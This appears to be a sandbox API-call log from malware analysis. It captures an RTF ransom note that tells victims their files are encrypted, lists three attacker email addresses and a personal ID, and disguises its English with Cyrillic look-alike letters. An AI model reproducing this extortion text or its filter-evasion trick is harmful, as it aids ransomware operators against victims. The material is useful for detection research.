us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 